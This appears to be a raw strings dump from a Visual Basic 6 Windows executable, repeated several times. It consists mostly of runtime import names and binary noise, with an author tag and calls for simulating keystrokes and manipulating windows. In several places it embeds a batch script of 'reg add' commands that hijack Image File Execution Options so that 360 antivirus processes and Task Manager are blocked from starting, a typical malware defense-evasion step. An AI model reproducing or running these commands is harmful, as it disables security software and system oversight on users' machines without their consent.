__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
2B1A502D5E87E910FA9DAAC890660C3D
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
